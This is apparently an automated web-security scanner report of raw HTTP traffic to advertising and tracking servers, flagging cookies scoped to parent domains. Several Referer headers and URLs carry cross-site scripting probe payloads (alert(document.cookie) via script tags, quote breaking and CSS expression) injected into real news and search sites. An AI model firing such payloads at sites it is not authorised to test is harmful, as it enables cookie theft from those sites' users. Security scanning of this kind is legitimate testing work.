HTTP/1.1 302 Object moved Cache-Control: no-store Content-Length: 0 Expires: 0 Location: http://www6.homedepot.com/homeservices/windows_ola/index.html?cm_mmc=ola-_-HomeServices-_-Interclick-_-ROIHDAS-_-Windows-_-728x90 P3P: CP="NOI DSP COR CUR ADM DEV TAIo PSAo PSDo OUR BUS UNI PUR COM NAV INT DEM STA PRE OTC" Set-Cookie: AA002=001295460388-9211212; expires=Friday, 18-Jan-2013 00:00:00 GMT; path=/; domain=REDACTEDcom Set-Cookie: MUID=8437D6560E254074ADF80D9B70226474; expires=Sunday, 07-Aug-2011 00:00:00 GMT; path=/; domain=REDACTEDcom Set-Cookie: ach00=d748/2632; expires=Friday, 18-Jan-2013 00:00:00 GMT; path=/; domain=REDACTEDcom Set-Cookie: ach01=bb1f5ae/2632/10efd40e/d748/4d372824; expires=Friday, 18-Jan-2013 00:00:00 GMT; path=/; domain=REDACTEDcom Connection: close Date: Wed, 19 Jan 2011 18:06:28 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /p/swfobject/ HTTP/1.1 Host: code.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /r/du/id/L21rdC80L3NwaWQvMQ/rnd//url/http%3A%2F%2Ftags.bluekai.com%2Fsite%2F2800%3Fid=PARTNER_UUID HTTP/1.1 Host: d.p-td.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=4044268024581976328
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=4044268024581976328; Domain=.p-td.com; Expires=Mon, 18-Jul-2011 15:26:50 GMT; Path=/ Location: http://d.turn.com/r/dm/mkt/4/mpid//mpuid/4044268024581976328/nu/n/url/http%3A%2F%2Ftags.bluekai.com%2Fsite%2F2800%3Fid%3D4044268024581976328 Content-Length: 0 Date: Wed, 19 Jan 2011 15:26:49 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /r/dm/mkt/4/mpid//mpuid/4044268024581976328/nu/n/url/http%3A%2F%2Ftags.bluekai.com%2Fsite%2F2800%3Fid%3D4044268024581976328 HTTP/1.1 Host: d.turn.com Proxy-Connection: keep-alive Referer: http://tags.bluekai.com/site/857?ret=html&phint=q%3DAttorneys&phint=__bk_t%3DNo%20Location%20Found%20-%20YP.com&limit=4&r=16287612 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: pf=TiY2Y7UsIzsDKs0LviDMrF7Y4FfMul_JqNyl-f7qrdKJwV9kSIzX4BtZ7vBDkFqi6PyIdXvx0rnLfhzRtOOBc34lLZyvKs0UYrWi2iSsDx48XfJgp4muYrbpVMBmU3OKo040jqkTNLCen_tUsnEbNt9he2SzgZbMiSxi7XoC0oAxENxfle1RGFCVxOmt4exBF6G3eK8GfPeHCjDxdpQTpQ; uid=3011330574290390485; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7Cundefined%7C10; rds=14987%7C14983%7C14983%7C14989%7Cundefined%7C14983%7C14983%7C14983%7C14983%7C14983%7C14987%7Cundefined%7C14983; rv=1
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV" Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Mon, 18-Jul-2011 15:27:27 GMT; Path=/ Location: http://tags.bluekai.com/site/2800?id=4044268024581976328 Content-Length: 0 Date: Wed, 19 Jan 2011 15:27:26 GMT
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,16,0;expires=Fri, 18 Feb 2011 18:07:18 GMT;path=/;domain=.zedo.com;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /OzoDB/cutils/R52_5/jsc/933/egc.js HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 6 Content-Type: application/x-javascript Set-Cookie: FFCap=1463B1219,174796:933,196008:0,0|0,11,1:0,17,1:0,16,0;expires=Fri, 18 Feb 2011 18:07:18 GMT;path=/;domain=.zedo.com; P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" X-Varnish: 2608430956 Cache-Control: max-age=2007212 Expires: Fri, 11 Feb 2011 23:40:50 GMT Date: Wed, 19 Jan 2011 18:07:18 GMT Connection: close
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bar/v16-401/d3/jsc/fm.js HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 911 Content-Type: application/x-javascript Set-Cookie: FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "81ee0daa-82a5-4989a5927aac0" X-Varnish: 2233582065 2233582057 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=285 Expires: Wed, 19 Jan 2011 18:11:59 GMT Date: Wed, 19 Jan 2011 18:07:14 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 15:50:43 GMT;path=/;domain=.zedo.com;
FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bar/v16-401/d3/jsc/fmr.js?c=2/1&a=0&f=&n=1099&r=13&d=14&q=&$=&s=1&l=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBMES1Ugg3Ta2nBoyGlges6NynDJnp180BAAAAEAEgjfDlBTgAWKHYjIMWYMmGo4fUo4AQsgERd3d3LmNzbW9uaXRvci5jb226AQk3Mjh4OTBfYXPIAQnaAZIBaHR0cDovL3d3dy5jc21vbml0b3IuY29tL1VTQTFlZGMxJTIyLWFsZXJ0KGRvY3VtZW50LmNvb2tpZSktJTIyOGE1ZTYzNWQ0OC9KdXN0aWNlLzIwMTEvMDExOC9TdXByZW1lLUNvdXJ0LWRlY2xpbmVzLWFwcGVhbC1vZi1ELkMuLWdheS1tYXJyaWFnZS1sYXeYAvQDwAIC4AIA6gIPNzI4eDkwQV9HZW5lcmFs-AL40R6QA-gCmAOkA6gDAeAEAQ%26num%3D0%26sig%3DAGiWqtxRwj24JAE0NIGlaKp_ZowzoLsPwg%26client%3Dca-pub-6743622525202572%26adurl%3D&z=0.14485870278440416 HTTP/1.1 Host: d7.zedo.com Proxy-Connection: keep-alive Referer: http://www.csmonitor.com/USA1edc1%22-alert(document.cookie)-%228a5e635d48/Justice/2011/0118/Supreme-Court-declines-appeal-of-D.C.-gay-marriage-law Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; ZEDOIDX=29; FFgeo=5386156; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1; FFCap=1463B1219,174796|0,11,1; ZCBC=1
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Type: application/x-javascript Set-Cookie: FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1;expires=Fri, 18 Feb 2011 15:50:43 GMT;path=/;domain=.zedo.com; Set-Cookie: FFcat=1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFad=0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" Vary: Accept-Encoding X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=301 Expires: Wed, 19 Jan 2011 15:55:44 GMT Date: Wed, 19 Jan 2011 15:50:43 GMT Connection: close Content-Length: 2277
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
var p9=new Image();
var zzD=window.document;
if(typeof zzuid=='undefined'){ var zzuid='unknown';} var zzSection=1;var zzPat='';var zzCusto ...[SNIP]...
The following cookies were issued by the application and is scoped to a parent of the issuing domain:
FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /bar/v16-401/d3/jsc/fmr.js HTTP/1.1 Host: d7.zedo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ZEDOIDA=INmz6woBADYAAHrQ5V4AAACH~010411; FFgeo=5386156; ZCBC=1; aps=1; ZEDOIDX=29; FFChanCap=1463B1219,48#878391,19#878390,1#706985#736041#704705,20#878399,16#706985:1083,8#647871,7#740741#668673#648477:1099,2#702971|0,1,1:0,1,1:0,1,1:1,1,1:2,1,1:0,11,1:0,11,1:1,6,1:0,12,7:0,7,2:0,6,1:0,17,1; FFcat=933,56,15:1099,2,14; ZFFAbh=749B826,20|1483_749#365; FFad=0:0; FFCap=1463B1219,174796:933,196008|0,11,1:0,17,1;
Response
HTTP/1.1 200 OK Server: ZEDO 3G Content-Length: 912 Content-Type: application/x-javascript Set-Cookie: FFad=0:0:0;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; Set-Cookie: FFcat=0,0,0:933,56,15:1099,2,14;expires=Thu, 20 Jan 2011 05:00:00 GMT;domain=.zedo.com;path=/; ETag: "812b9fe7-809a-4989a59833840" X-Varnish: 2233582316 P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Cache-Control: max-age=284 Expires: Wed, 19 Jan 2011 18:11:59 GMT Date: Wed, 19 Jan 2011 18:07:15 GMT Connection: close
// Copyright (c) 2000-2010 ZEDO Inc. All Rights Reserved.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
FFgeo=5386156;expires=Thu, 19 Jan 2012 15:50:46 GMT;domain=.zedo.com;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
ZFFAbh=749B826,20|1483_749#365;expires=Thu, 19 Jan 2012 15:50:47 GMT;domain=.zedo.com;path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /red/psi/sites/www.csmonitor.com/p.json?callback=_ate.ad.hpr&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law&ref=http%3A%2F%2Fburp%2Fshow%2F25&jdg4df HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; di=%7B%7D..1295378586.60|1293848200.66; dt=X; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 179 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 19 Jan 2011 15:51:10 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 18 Feb 2011 15:51:10 GMT; Path=/ Set-Cookie: di=%7B%7D..1295452270.19F|1295378586.60|1293848200.66; Domain=.addthis.com; Expires=Fri, 18-Jan-2013 12:57:24 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Wed, 19 Jan 2011 15:51:10 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 19 Jan 2011 15:51:10 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groups?q=washington,+dc+law&um=1&ie=UTF-8&sa=N&hl=en&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /seg?member=514&add_code= HTTP/1.1 Host: ib.adnxs.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: icu=EAAYAA..; uuid2=4760492999213801733; anj=Kfu=8fG2<rcvjr/?0P(*AuB-u**g1:XIB_LUMbNTn>qsXgZ2Ox#KzDN4KItBKZ]%U957iZ(>)^:wzHPZ2[uGVGi2$WVP]vE7[4!S%SF(w77BERA:r.c('INuCClbQ^7w>b!x%r7-EDLs
Response
HTTP/1.1 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC" Set-Cookie: sess=1; path=/; expires=Thu, 20-Jan-2011 17:54:41 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Tue, 19-Apr-2011 17:54:41 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=4760492999213801733; path=/; expires=Tue, 19-Apr-2011 17:54:41 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: anj=Kfu=8fG4S]cvjr/?0P(*AuB-u**g1:XIFC`UMbNTn>qsXgZ2Ox#KvIG9mnBrx$Z(:AxSb0kr]/35(zkfLWT`oA.mww*H+5sKK`g(^Ri=K-hRsobc^I%Bp(IG$98e$+T:!3; path=/; expires=Tue, 19-Apr-2011 17:54:41 GMT; domain=.adnxs.com; HttpOnly Content-Length: 43 Content-Type: image/gif Date: Wed, 19 Jan 2011 17:54:41 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /e/t3.dll?280&966503092&http%3A%2F%2Fburp%2Fshow%2F33%20&qcat%3DWeb%26vendor%3Dinfousflag%26skw%3Dwashington%2Bdc%2Blaw%2Bfirms2ee2d%253cscript%253ealert%2528document%2Ecookie%2529%253c%252fscript%253e72356283334%20&iREGQry%20&iSale%20&1&1920&1200&16&1&13&en-US%20&360&http%3A%2F%2Fwww%2Einfo%2Ecom%2Fwashington%2520dc%2520law%2520firms2ee2d%25253cscript%25253ealert%252528document%2Ecookie%252529%25253c%25252fscript%25253e72356283334%20&0 HTTP/1.1 Host: info.intelli-direct.com Proxy-Connection: keep-alive Referer: http://www.info.com/washington%20dc%20law%20firms2ee2d%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e72356283334 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 43 Content-Type: image/gif Expires: -1 Accept-Ranges: bytes Server: Microsoft-IIS/7.0 X-Aspnet-Version: 2.0.50727 Set-Cookie: vidi=d40cfe25325f4a8a957ea21bb48f9d5c; domain=intelli-direct.com; expires=Sun, 31-May-2037 23:00:00 GMT; path=/ P3p: policyref="/w3c/p3p.xml",CP="NOI DSP COR DEV PSA OUR IND UNI NAV INT STA COM NID" Date: Wed, 19 Jan 2011 16:51:24 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /gateway/gw.js?csid=K08784&auto=t HTTP/1.1 Host: js.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; udm_0=MLvv8iMJPj5n556Bo8jwxg27aVMsKvlZeh88v6LFxvi6NShB6ZO83AmHuP4JgK9bvgpJZgsqUaP2xfTnxNPh9+fmSEPkCVwJX705HIrDAdU6h9yhStmEjquZrguVeF3r0KH2OzLBVWAxUkwC4gAcARichgtw510EVacnhilf+8mRFAtdqKZBM6NUyjil0ZdVPRDqI+Ti+FIe6fewtlE9GinOst7C+rlOGLcLpjRwr3ZfMSayOJgkjwJdHiBSJ9kAcsoTnnNvaA7Xcb0oB88geiObO0gCWiOMGKuhN5NhpXa5wNJrUpjtCGmrVtVPNsrxL9ryWzajTucvw6SIgD8tYcWt49xZgaknzfQMm4nMuUr+qb1f+Ms3ek2Rc8bT/TWEYTevTxXB1YSJNhNpyO+5lLFTcDcxf+duWIK8eU0eIZAncGmWmIMN2HAprOXDL92vjPG5GfbTEfgpUERmJC38xypT/U/eZtb2YBNcle27OeZkVpQY88kycEdRsS0Ks4HLd9MJ6YiDUxLI3FUlyF0iCBOApuRiSn2zDur8XA1O6kZwXMP/vqnO/qlcm8YSMQteDyI8xTLOkrtw5XuzDTiehCDdIT5AUFXEVikG1xbWOf61/rLXUN710OVSlXuiKpp7slVOdtdIlvK5Ef2r/dR4A+dOCYr8QFU/PgPleGbyIL5+FSmkfzlkK9kpSlXIgokpHC3DmN7FSnZ4W681z5mM3+bkQyAQa1deCg6dY3j8xQBsPgkVRyyliBZ/BT5AfFB6Kt2bfoD+HZA9FOS08BLyiny5VyDBbEms9liC5Fs3TFj1lR+RyszTbus6ezqbVXF77t83kYCDwMJ+4srH8tO8ZoaqbVgfKSopwI144BcK1RceyhLfvKeO2mls6933wcTzEXOpWYxsjrgl5Q==; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==
//Vermont-12.4.0-1012 var rsi_now= new Date(); var rsi_csid= 'K08784';if(typeof(csids)=="undefined"){var csids=[rsi_csid];}else{csids.push(rsi_csid);};function rsiClient(Da){this._rsiaa=Da;this._rsiba ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /event-log-analysis-sm/ HTTP/1.1 Host: landesm.gfi.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <META http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Event log analysis & management</title>
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /load/?p=235&g=001&ctg=Attorneys+%26+Lawyers%3a+General+Practice&cat=business_professional_services&state=TX&city=Dallas&kw=law+offices HTTP/1.1 Host: loadus.exelator.com Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: xltl=eJxLtDK0qi62MrZSCvV0UbIGsoyslEwSE02STSwtzRPNU03MkiwsktMMUpItzCzSkgwtTFMNlKxrAa8pD0k%253D; myPAL=eJxLtDK2qs60MrAutjIyt1IyNDGzVLa0tDRUNjQwUTYwM1AOATJ8gSJGStaZVoYgZWYgZeamUGXmBsoGBoZAZeYGMFVGcMPgqjANqwUAip0atg%253D%253D; BFF=eJxLtDKxqi62MjSwUgoxNDDxdbC0tDRSss60MjQxN7UGShhbKfn6%252B4V4%252BETGh3kGe4YoWSdameLSYmYJ1GIKFUcSQlFrjCRhCRI3N0C31QQiDBepxW4EWC1WI2oBnuw0eQ%253D%253D; TFF=eJyNj7ENgDAMBHdhgncIsew0GYM2RQokOugQu2MoKAKIFNa7uHvps4pui5LTjuATApKIuC5mdbpNStHO82CB6w0S9wdPJ99XvLPrK49vrc2whG%252FvLmOZ81q%252Buv3bCkYC6Ge1vU%252F%252BczVVHt9am2HJaCL3AyAZcuM%253D
Response
